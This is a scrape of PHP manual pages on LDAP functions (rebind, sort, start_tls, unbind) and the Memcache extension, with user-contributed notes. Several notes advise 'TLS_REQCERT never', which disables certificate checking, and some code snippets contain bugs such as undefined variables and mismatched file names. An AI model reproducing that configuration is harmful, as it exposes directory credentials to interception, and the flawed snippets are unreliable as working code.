            $new_server_url = $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $ldap_error($rconnection)); # May need some sanity checking here
            $rconnection = ldap_connect($new_server_url);
            ldap_set_option($rconnection,LDAP_OPT_REFERRALS,0)
            ldap_set_option($rconnection,LDAP_OPT_PROTOCOL_VERSION, 3)
            ldap_bind($rconnection,$bind_dn,$bind_pw);
            $loop = $loop - 1;
            }
        else
            {
            ldap_unbind($rconnection);
            $loop = 0;    # Probably not needed
            ldap_set_option($connection,LDAP_OPT_REFERRALS,$old_referral_setting);
            return false;
            }
        } while ( $loop > 0);
    }
?>
mvanbeek at forgetaboutit dot net 15-Jun-2010 08:13
I have had quite a hard time finding good information about chasing referrals so I am adding my tuppence worth here. I still haven't got my test code working fully so please look further down the page for updates.

The way this appears to have to work is that you use this function to set a callback function of your own to connect and bind to the referral server. you need to set this along with forcing v3 ldap and setting the referral chasing to on as part of setting up the initial connection, so just after the connect but before the bind, you need something like:

<?php
        $ds = ldap_connect($server);
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ds, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ds, "rebind");
        ldap_bind($ds,$dn,$pass);
?>

This callback function (called rebind in the above example needs two arguments. These arguments are preset and are supplied when the callback function is called. The first is the ldap link identifier. I assume this is supplied as the function could be used successively by a number of consecutive referrals. The second is the ldap referral URL supplied by the initial server. I have seen notes that say this function must be defined prior to being set by ldap_set_rebind_proc, but as yet I cannot confirm this.

My setup is based on a master - slave ldap server configuration, with the PHP application residing on the slave where it does localhost lookups. When your try to write to the slave ldap server, the server returns a referral URL, and the internal PHP function then calls the callback function.

Despite the code already on this page, which appears to also be used to test the PHP code, I believe it is wrong. I think it simply reconnects to the initial server. I believe that what the callback function should do is to connect to the new server, and bind to it. My test code currently looks like this:

<?php
function rebind($ldap, $referral) {
        global $dn;
        global $pass;
        $server= preg_replace('!^(ldap://[^/]+)/.*$!', '\\1', $referral);
        if (!($ldap = ldap_connect($server))){
                echo "reconnect failed - <br>";
                return 1;
        }
        ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
        ldap_set_option($ldap, LDAP_OPT_REFERRALS, 1);
        ldap_set_rebind_proc($ldap, "rebind");
        if (!ldap_bind($ldap,$dn,$pass)){
                echo "rebind failed - <br>";
                return 1;
        }
        return 0;
}
?>

As far as I can tell, a return value of 0 means success and any other value means it has failed. The complete lack of documentation doesn't help.

The above code works all the way to authenticating against the new server, but at the moment I appear to be getting an unbind request before it tries to write the record to the new server, so it fails.

I would also recommend adding a ldap_start_tls before the bind as well.
pearcec at commnav dot com 02-May-2003 01:09
PHP expects the ldap function ldap_set_rebind_proc to be the one that has tree parameters.  As far as I can tell this isn't in the 2.0 release of OpenLDAP.  But made it into 2.1.  Configure will tell you

checking for 3 arg ldap_set_rebind_proc... no
night0wl at frost dot ath dot cx 02-Apr-2003 04:19
Couse there was no example code for this function, i had alot of troubles to make it work properly.

So, here is working example:

function rebind_on_ref ($ds, $ldap_url) {
  global $binddn;    // DN used to bind
  global $bindpw;    // password used to bind

  // required by most modern LDAP servers, use LDAPv3
  ldap_set_option($a, LDAP_OPT_PROTOCOL_VERSION, 3);

  if (!ldap_bind($a,$binddn,$bindpw)) {
        print "Cannot bind";
  }
}
randy at kotmail dot com 25-Apr-2002 01:46
If rebind_proc isn't compiled in slapd, your will never get that funtction working. Check out the new alpha release of slapd and rtfm.


Sort LDAP result entries

  • « ldap_set_rebind_proc
  • ldap_start_tls »
  • PHP Manual
  • LDAP Functions
  • Sort LDAP result entries

ldap_sort

(PHP 4 >= 4.2.0, PHP 5)

ldap_sort — Sort LDAP result entries

Description

bool ldap_sort ( resource $link , resource $result , string $sortfilter )

Sort the result of a LDAP search, returned by ldap_search().

Parameters

link

An LDAP link identifier, returned by ldap_connect().

result

An search result identifier, returned by ldap_search().

sortfilter

The attribute to use as a key in the sort.

Examples

Sorting the result of a search.

Example #1 LDAP sort

<?php
     // $ds is a valid link identifier (see ldap_connect)

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     // Sort
     ldap_sort($ds, $sr, 'sn');

     // Retrieving the data
     $info = ldap_get_entries($ds, $sr);

User Contributed Notes

thorben at kapp-hamburg dot de 07-Jan-2011 01:46
I wondered how to sort after a dn, for just show a tree view. I tried to set $sortfilter = 'dn', but that didn't work. Than I tried with a blank string ''. That worked, the entries are sorted by dn.
ben at xsusio dot com 03-Sep-2004 11:33
If you are wanting to sort by multiple attributes, for instance ordering by last name and then first name,  try this function. This is similar to "ORDER BY lastname, firstname"  in SQL.

This function uses an insertion sort algorithm, which is somewhat faster then the old-fashoned bubble sort.  The second argument is an array containing the attributes you want to sort by. (this functon won't do descending or ascending..  feel free to add it!)

<?php
/**
 * @param array $entries
 * @param array $attribs
 * @desc Sort LDAP result entries by multiple attributes.
*/
function ldap_multi_sort(&$entries, $attribs){
    for ($i=1; $i<$entries['count']; $i++){
        $index = $entries[$i];
        $j=$i;
        do {
            //create comparison variables from attributes:
            $a = $b = null;
            foreach($attribs as $attrib){
                $a .= $entries[$j-1][$attrib][0];
                $b .= $index[$attrib][0];
            }
            // do the comparison
            if ($a > $b){
                $is_greater = true;
                $entries[$j] = $entries[$j-1];
                $j = $j-1;
            }else{
                $is_greater = false;
            }
        } while ($j>0 && $is_greater);

        $entries[$j] = $index;
    }
    return $entries;
}
?>
zbaizman at yahoo dot com 07-Aug-2004 03:15
This note may be self-evident, but the functionality of ldap_sort threw off this sometime user of relational databases.

The following code will NOT do what you expect:

<?php

// omitted calls to connect and and bind to LDAP server...

// attributes we want to retrieve from LDAP server
$ldap_attributes = array ( 'cn', 'o', 'mail' ) ;

// retrieve attributes from matching entries
$search_results = ldap_search ( $ldap_conn, 'dc=example,dc=org', '(objectclass=*)', 0, 500, 30 ) ;

// sort entries by last name ('sn')
ldap_sort ( $ldap_conn, $search_results, 'sn' ) ;

?>

The entries will NOT be sorted by last name. Why not? Because LDAP doesn't function like a RDBMS; you cannot sort a result set on an arbitrary field, regardless of whether you "selected" it. You must always include the attribute by which you want to sort your entries among the requested attributes (add 'sn' to $ldap_attributes, in this case).

Hope this is helpful to some other folks who scratched their heads when they tried to sort entries and it didn't work out...
askgopal at sify dot com 04-Sep-2003 05:07
Here's a simple LDAP sort function I wrote:

<?php
function sort_ldap_entries($e, $fld, $order)
{
    for ($i = 0; $i < $e['count']; $i++) {
        for ($j = $i; $j < $e['count']; $j++) {
            $d = strcasecmp($e[$i][$fld][0], $e[$j][$fld][0]);
            switch ($order) {
            case 'A':
                if ($d > 0)
                    swap($e, $i, $j);
                break;
            case 'D':
                if ($d < 0)
                    swap($e, $i, $j);
                break;
            }
        }
    }
    return ($e);
}

function swap(&$ary, $i, $j)
{
    $temp = $ary[$i];
    $ary[$i] = $ary[$j];
    $ary[$j] = $temp;
}
?>

so that it can be invoked like:

<?php
    $entries = sort_ldap_entries($entries, 'mail', 'A'); // sort entries by ascending order of mail
?>

where,
    `$entries' is the array returned by ldap_get_entries() function.

This might be useful to those who still run older versions of PHP (<= 4.2.0) on their web servers :-)
jason dot sokolowski at rotork dot com 06-Sep-2002 10:51
Something real simple i wrote to sort directory searches by a persons last name.

<?php
for($i=0;$i<$result["count"];$i++)
{

$lastname = $result[$i]["sn"][0];

$lnames["$i"]=$lastname;

}//for i

@asort($lnames);
?>
matthew dot j dot gray at uwrf dot edu 25-Jun-2002 11:47
This function applies strcmp() to each attribute (given by sortfilter) in order to sort the entries returned by the server.  To order search results ascending by last name, try passing "sn" as the sortfilter argument.  This function does not play nice with multi-valued attributes.


Start TLS

  • « ldap_sort
  • ldap_t61_to_8859 »
  • PHP Manual
  • LDAP Functions
  • Start TLS

ldap_start_tls

(PHP 4 >= 4.2.0, PHP 5)

ldap_start_tls — Start TLS

Description

bool ldap_start_tls ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

med dot ezzairi at gmail dot com 12-Sep-2014 07:05
For all users,admins how are using or taying to connect to Microsoft Active Directory with PHP openLDAP extension, Apache,OpenSSL and they are getting:
"Warning: ldap_bind(): Unable to bind to server: Can't contact LDAP server"
here is the solution as i did:
--------------------------------
upgrade to PHP 5.4.x
creat a directory as: C:\openldap\sysconf\ldap.conf

write into this file (ldap.conf):
TLS_CACERT path\to\your\CA\cert\file.crt

(like d:\monCA_Cert\ca.crt)

restart your apache web server, and refresh your page and tell me (allah yar7am lwalidin)in arabic

for more here's my mail:med.ezzairi@gmail.com
deguich at hotmail dot com 04-Jun-2014 09:51
When you have this error:
Warning: ldap_start_tls() [function.ldap-start-tls]: Unable to start TLS: Connect error in /var/www/X.php on line Y

It's probably because of a certificate validity issue. You can check the error by adding debug level:
<?php
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL, 7);
?>
This can be done before the ldap_connect takes place.

To fix the certificate validity issue:
add
TLS_REQCERT never
in file (create it if not exist)
c:\openldap\sysconf\ldap.conf    <= Windows
/etc/ldap.conf     <= linux
A restart of the web server may be required to apply changes
It's probably not the best solution but it works ...

Another thing to be aware of is that it requires version 3 (version 2 is php default):
<?php
$con = ldap_connect($hostnameSSL);
ldap_set_option($con, LDAP_OPT_PROTOCOL_VERSION, 3);
?>

Another tip : the second parameter of ldap_connect is not used if you use an URL like "ldap://..." (port 389 automatically used) or "ldaps://..."  (port 636 automatically used).
Richard Lynch 03-Mar-2012 02:28
In my experience:

1)
PHP / openldap / whatever could NOT read .pem files.
They had to be .pfx or .cer
(I don't even know which one worked. I converted the .pem to both and called it done.)

2)
In /etc/openldap/ldap.conf you must:
Either set TLS_CACERT /etc/openldap/cacerts/YOURCERT.pfx
Or set TLS_CACERTDIR /etc/openldap/cacerts/
The first one constrains you to a specific cert.
The latter tries all of them in the directory.

3)
You have various options for TLS_REQCERT:
allow (use it if you need it)
require (must have a cert)
You'll have to read openldap docs for the rest.
I used allow, and it worked.
ymmv

4)
I did not change anything in the (very long) default /etc/ldap.conf file

5)
I did not change anything in the self-documenting /etc/autofs_ldap_auth.conf
Mainly because I just found it while typing this up, and I have no idea what it does.  Presumably 'autofs' implies you can mount some LDAP server as a mount point or something at boot... Sounds funky to me, but knock yourself out playing with it.

This was all with various versions of PHP ranging from 5.2 to 5.3  No promises about other versions.

6)
ldapsearch -VV says it's 2.3.43
Dunno if that comes with openldap or I downloaded it separately. Long time ago.  Very handy CLI tool for mucking around without PHP in the middle, so you can cross-check that it's PHP or not.
schmunk at usrbin dot de 26-Sep-2011 12:37
PHP Warning:  ldap_start_tls(): Unable to start TLS: Operations error in /path/to/script.php

Do not use ldap_start_tls() if you've already connected to the LDAP Server via SSL e.g. "ldaps://hostame".
T. Le Meur 19-Oct-2010 03:11
Note that, on Windows, due to a bug in the php_ldap extension for php 5.3.2, the location of the ldap.conf may change.

In this case, PHP expects the ldap.conf file to be in the root filesystem where the Webserver Document root is installed (for instance C:\ldap.conf).

This seems to be fixed in PHP 5.3.3RC1

See the following bug reference:
http://bugs.php.net/bug.php?id=48866
victoriano at uma dot es 14-Jun-2010 09:00
ldaps:// (on port 636) is NOT the same as using STARTTLS on port 389.

The second method upgrades the security of a plain connection to an encrypted channel, which is strongly recommended for plain binding (DN/password).
josselin dot dulac at enscm dot fr 29-Jan-2010 04:19
Note : if you are using OpenLdap client > v2 and PHP > 4.0.4, you don't have to use that function. You just have to specify it using
<?php
ldap_connect("ldaps://yourhostname", 636);
?>

If you use both ldaps:// uri and ldap_start_tls function, you'll get a warning saying that a TLS/SSL session is already open.
jcarlos at dsi dot uclm dot es 01-Dec-2009 02:10
Tested in Linux, ubuntu 9.10, PHP/5.2.10-2 and Apache/2.2.1.2

INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS IN LINUX
=============================================================

I'm not an expert, but it works.

1)I have installed ubuntu 9.10 desktop

2)Packages:
 apt-get install apache2
 apt-get install libapache2-mod-php5
 apt-get install libldap-2.4-2
 apt-get install ldap-utils
 apt-get install libsasl2-modules-ldap
 apt-get install openssl
 apt-get install libsasl2-2
 apt-get install libkrb5-3
 apt-get install php5-ldap
 apt-get install php5-sasl
 apt-get install php5-auth-pam

3)Put the PEM certificate.
 cd /etc/ldap
 mkdir certs
 copy /myhome/mycert.pem /etc/ldap/certs/mycert.pem
 NOTE:webcert.crt rename to mycert.pem. It's the same

4)Edit the file /etc/ldap/ldap.conf and Add:
  TLS_REQCERT never
  TLS_CACERT /etc/ldap/certs/mycert.pem

5)Create file /var/www/ldaptlstest.php:

<?php

   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);

   if(!$ldapbind)
      echo "ERROR";
   else
      echo "OK";
?>

6)Restart the server: /etc/init.d/apache2 restart

7)Open Firefox and write: http://localhost/ldaptlstest.php
;)
jcarlos at dsi dot uclm dot es 26-Nov-2009 12:04
INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS
==================================================

My configuration:
Apache/2.2.14 (Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k PHP/5.2.11

NOTE 1: At the momment, the versión 5.3.1 fail with tls
NOTE 2: This example works on windows, but in linux is similar

1) Download the Certificate X.509 (PEM format) from a web browser, I used Firefox. I put the name webcert.crt
2) Create the folder c:\openldap\sysconf
3) Copy the file webcert.crt to c:\openldap\sysconf
4) With notepad you must create the file c:\openldap\sysconf\ldap.conf file. The file contents:
TLS_REQCERT never
TLS_CACERT c:\openldap\sysconf\webcert.crt
5) The code:

<?php
   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);
   if(!$ldapbind)
       echo "ERROR";
   else
       echo "OK";
?>
pataisjsu at Yahoo.com 15-Nov-2007 11:55
I seemingly take forever to make use of ldap_start_tls work.
Especially lacking in document, I was frustrate and almost gave up until I saw this link in the php forum.
I thought it is worth for put the link in here.

http://marc.info/?l=php-windows&m=116127873321748&w=2

it is really work, and it saves me.
technosophos 06-Mar-2007 09:53
If your version was linked against the OpenLDAP libraries, you may want to look at the ldap.conf file for more information about specifying SSL/TLS behavior. Apparently, the settings in ldap.conf make a different in the way SSL/TLS is handled by PHP.
on at cs dot ait dot ac dot th 07-Aug-2006 09:00
More on TLS start.

It seems that either you ldap_connect to ldaps://, port 636 or you ldap_tls_start.

In my case, using ldaps on port 636 (to be sure I enforce TLS) the connection will go like:

$LDAP_SERVER="ldaps://ldap.../";
$LDAP_PORT=636;

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
/*** NO NEED ***
*   if (!ldap_start_tls($ds)) {
*      exit;
*   }
***/
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
bill at strosberg dot com 13-Apr-2005 07:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu 29-Jun-2004 12:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu 23-Jul-2002 05:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
    }
    if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
    }
    // now we need to bind anonymously to the ldap server
    $bth = ldap_bind($ds);
    //make your query
}


Translate t61 characters to 8859 characters

  • « ldap_start_tls
  • ldap_unbind »
  • PHP Manual
  • LDAP Functions
  • Translate t61 characters to 8859 characters

ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5)

ldap_t61_to_8859 — Translate t61 characters to 8859 characters

Description

string ldap_t61_to_8859 ( string $value )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

14-Apr-2004 04:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.


Unbind from LDAP directory

  • « ldap_t61_to_8859
  • Memcache »
  • PHP Manual
  • LDAP Functions
  • Unbind from LDAP directory

ldap_unbind

(PHP 4, PHP 5)

ldap_unbind — Unbind from LDAP directory

Description

bool ldap_unbind ( resource $link_identifier )

Unbinds from the LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ldap_bind() - Bind to LDAP directory

User Contributed Notes

kmenard at wpi dot edu 29-Nov-2001 08:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.


Memcache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Memcache — The Memcache class
    • Memcache::add — Add an item to the server
    • Memcache::addServer — Add a memcached server to connection pool
    • Memcache::close — Close memcached server connection
    • Memcache::connect — Open memcached server connection
    • Memcache::decrement — Decrement item's value
    • Memcache::delete — Delete item from the server
    • Memcache::flush — Flush all existing items at the server
    • Memcache::get — Retrieve item from the server
    • Memcache::getExtendedStats — Get statistics from all servers in pool
    • Memcache::getServerStatus — Returns server status
    • Memcache::getStats — Get statistics of the server
    • Memcache::getVersion — Return version of the server
    • Memcache::increment — Increment item's value
    • Memcache::pconnect — Open memcached server persistent connection
    • Memcache::replace — Replace value of the existing item
    • Memcache::set — Store data at the server
    • Memcache::setCompressThreshold — Enable automatic compression of large values
    • Memcache::setServerParams — Changes server parameters and status at runtime
  • Memcache Functions
    • memcache_debug — Turn debug output on/off

User Contributed Notes

gabriel dot maybrun at demandmedia dot com 05-Sep-2014 08:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


Introduction

Memcache module provides handy procedural and object oriented interface to memcached, highly effective caching daemon, which was especially designed to decrease database load in dynamic web applications.

The Memcache module also provides a session handler (memcache).

More information about memcached can be found at » http://www.memcached.org/.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses functions of » zlib to support on-the-fly data compression. Zlib is required to install this module.

PHP 4.3.3 or newer is required to use the memcache extension.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memcache.

Note:

It's possible to disable memcache session handler support. The 'pecl install' option prompts for this (default is enabled) however when compiling statically into PHP the --disable-memcache-session configure option may be used.

User Contributed Notes

andryzeus at ukr dot net 06-Jan-2012 11:10
If you have error with libtool version after make - way to install:
phpize --clean && phpize
rm aclocal.m4
aclocal
autoconf
./configure
make
make install
[memcache-2.2.6, gentoo.x86-64]
Felipe Estrella Barros 17-Oct-2011 12:54
On Slackware, after copilling it, you should copy the file /module/memcache.so to /usr/lib/httpd/modules. Then, the instruction extension=memcache.so must be added into the file /etc/httpd/php.ini

Restart the httpd and it should work!
pesdguy at yahoo dot co dot in 10-May-2010 11:46
For xampp if you need to install memcache

use this place for all version
:
http://downloads.php.net/pierre/
mit at mitayai dot org 19-Apr-2010 09:47
It is very important to note when reading the information supplied by others on this page that there are two *distinct* memcache PHP implementations for the service "memcached".

1) pecl-memcache
2) pecl-memcached

This page is for the first, pecl-memcache.

If you are looking for pecl-memcached information, visit here:

http://www.php.net/manual/en/book.memcached.php
no at spam4me dot com 11-Dec-2009 12:48
#if apt-get, rpm, or yum doesn't work
cd /usr/src/
wget http://pecl.php.net/get/memcache-2.2.4.tgz
tar -zxvf memcached-2.2.4.tgz
cd memcached-2.2.4
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php/modules/

# Note: packaged extension modules are now loaded via the .ini files
# found in the directory /etc/php.d
touch /etc/php.d/memcached.ini
echo 'extension=memcache.so' > /etc/php.d/memcached.ini

service httpd restart
mykel dot alvis at gmail dot com 18-Jun-2008 05:01
on Fedora, apparently

yum install php-pecl-memcache
Wayne 01-May-2008 09:09
Newer PHP versions don't have a --enable-memcache options; simply installing the PECL package will be enough... so to be absolutely clear, you WON'T have to recompile PHP to use memcache.  That paragraph above seems like a bad case of earlier version documentation editing.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Memcache Configuration Options
Name | Default | Changeable | Changelog
memcache.allow_failover | "1" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.max_failover_attempts | "20" | PHP_INI_ALL | Available since memcache 2.1.0.
memcache.chunk_size | "8192" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.default_port | "11211" | PHP_INI_ALL | Available since memcache 2.0.2.
memcache.hash_strategy | "standard" | PHP_INI_ALL | Available since memcache 2.2.0.
memcache.hash_function | "crc32" | PHP_INI_ALL | Available since memcache 2.2.0.
session.save_handler | "files" | PHP_INI_ALL | Supported since memcache 2.1.2
session.save_path | "" | PHP_INI_ALL | Supported since memcache 2.1.2
memcache.protocol | ascii | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.redundancy | 1 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.session_redundancy | 2 | >PHP_INI_ALL | Supported since memcache 3.0.0
memcache.compress_threshold | 20000 | >PHP_INI_ALL | Supported since memcache 3.0.3
memcache.lock_timeout | 15 | >PHP_INI_ALL | Supported since memcache 3.0.4
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

memcache.allow_failover boolean

Whether to transparently failover to other servers on errors.

memcache.max_failover_attempts integer

Defines how many servers to try when setting and getting data. Used only in conjunction with memcache.allow_failover.

memcache.chunk_size integer

Data will be transferred in chunks of this size, setting the value lower requires more network writes. Try increasing this value to 32768 if noticing otherwise inexplicable slowdowns.

memcache.default_port string

The default TCP port number to use when connecting to the memcached server if no other port is specified.

memcache.hash_strategy string

Controls which strategy to use when mapping keys to servers. Set this value to consistent to enable consistent hashing which allows servers to be added or removed from the pool without causing keys to be remapped. Setting this value to standard results in the old strategy being used.

memcache.hash_function string

Controls which hash function to apply when mapping keys to servers, crc32 uses the standard CRC32 hash while fnv uses FNV-1a.

session.save_handler string

Use memcache as a session handler by setting this value to memcache.

session.save_path string

Defines a comma separated of server urls to use for session storage, for example "tcp://host1:11211, tcp://host2:11211".

Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. For example "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"

memcache.protocol string

memcache.redundancy integer

memcache.session_redundancy integer

memcache.compress_threshold integer

memcache.lock_timeout integer

User Contributed Notes

kross at escapistmag dot com 22-Mar-2010 06:06
There's a currently undocumented variable that is now available (you can see it in php_info()) for session handling:

memcache.session_redundancy

The default seems to be "2", and it is supposed to influence how many copies of a particular session object that Memcache will store for failover purposes (so with a redundancy of 2, it will store a session on 2 different shards).

This will add slight overhead with extra writes, but overall seems worth it for purposes of failover.


Resource Types

There is only one resource type used in memcache module - it's the link identifier for a cache server connection.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Memcache Constants
Name | Description
MEMCACHE_COMPRESSED (integer) | Used to turn on-the-fly data compression on with Memcache::set(), Memcache::add() and Memcache::replace().
MEMCACHE_HAVE_SESSION (integer) | 1 if this Memcache session handler is available, 0 otherwise.
MEMCACHE_USER1 (integer) | Used to turn user-defined application flag on with Memcache::set(), Memcache::add() and Memcache::replace().
MEMCACHE_USER2 (integer) | Used to turn user-defined application flag on with Memcache::set(), Memcache::add() and Memcache::replace().
MEMCACHE_USER3 (integer) | Used to turn user-defined application flag on with Memcache::set(), Memcache::add() and Memcache::replace().
MEMCACHE_USER4 (integer) | Used to turn user-defined application flag on with Memcache::set(), Memcache::add() and Memcache::replace().

User Contributed Notes

Joan 20-Jan-2010 04:55
MEMCACHE_COMPRESSED=2
Using value of 1 produces serialization errors when retrieving values.


Examples

Table of Contents

  • Basic usage

User Contributed Notes

swapniltiwhane at gmail dot com 18-Jun-2014 06:31
$memcache = new Memcache;  //initialised memcahe
@$memcache->connect("127.0.0.1",11211);  // connect memcahe server
$cache = getCache(md5("mysql_query" . $sql));
//get sql query if already cached in memcahe


Basic usage

Example #1 memcache extension overview example

In this example, an object is being saved in the cache and then retrieved back. Object and other non-scalar types are serialized before saving, so it's impossible to store resources (i.e. connection identifiers and others) in the cache.

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Could not connect");

$version = $memcache->getVersion();
echo "Server's version: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Failed to save data at the server");
echo "Store data in the cache (data will expire in 10 seconds)<br/>\n";

$get_result = $memcache->get('key');
echo "Data from the cache:<br/>\n";

var_dump($get_result);

?>

Example #2 Using memcache session handler

<?php

$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10,  ,tcp://$host:$port  ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);

?>

User Contributed Notes

dkreuter at gmail dot com 01-Jun-2009 08:45
If the example doesn't work try to change "localhost" to "127.0.0.1".


The Memcache class

(PECL memcache >= 0.2.0)

Introduction

Represents a connection to a set of memcache servers.

Class synopsis

Memcache {
bool add ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool addServer ( string $host [, int $port = 11211 [, bool $persistent [, int $weight [, int $timeout [, int $retry_interval [, bool $status [, callable $failure_callback [, int $timeoutms ]]]]]]]] )
bool close ( void )
bool connect ( string $host [, int $port [, int $timeout ]] )
int decrement ( string $key [, int $value = 1 ] )
bool delete ( string $key [, int $timeout = 0 ] )
bool flush ( void )
string get ( string $key [, int &$flags ] )
array getExtendedStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )
int getServerStatus ( string $host [, int $port = 11211 ] )
array getStats ([ string $type [, int $slabid [, int $limit = 100 ]]] )
string getVersion ( void )
int increment ( string $key [, int $value = 1 ] )
mixed pconnect ( string $host [, int $port [, int $timeout ]] )
bool replace ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool set ( string $key , mixed $var [, int $flag [, int $expire ]] )
bool setCompressThreshold ( int $threshold [, float $min_savings ] )
bool setServerParams ( string $host [, int $port = 11211 [, int $timeout [, int $retry_interval = false [, bool $status [, callable $failure_callback ]]]]] )
}

Table of Contents

  • Memcache::add — Add an item to the server
  • Memcache::addServer — Add a memcached server to connection pool
  • Memcache::close — Close memcached server connection
  • Memcache::connect — Open memcached server connection
  • Memcache::decrement — Decrement item's value
  • Memcache::delete — Delete item from the server
  • Memcache::flush — Flush all existing items at the server
  • Memcache::get — Retrieve item from the server
  • Memcache::getExtendedStats — Get statistics from all servers in pool
  • Memcache::getServerStatus — Returns server status
  • Memcache::getStats — Get statistics of the server
  • Memcache::getVersion — Return version of the server
  • Memcache::increment — Increment item's value
  • Memcache::pconnect — Open memcached server persistent connection
  • Memcache::replace — Replace value of the existing item
  • Memcache::set — Store data at the server
  • Memcache::setCompressThreshold — Enable automatic compression of large values
  • Memcache::setServerParams — Changes server parameters and status at runtime

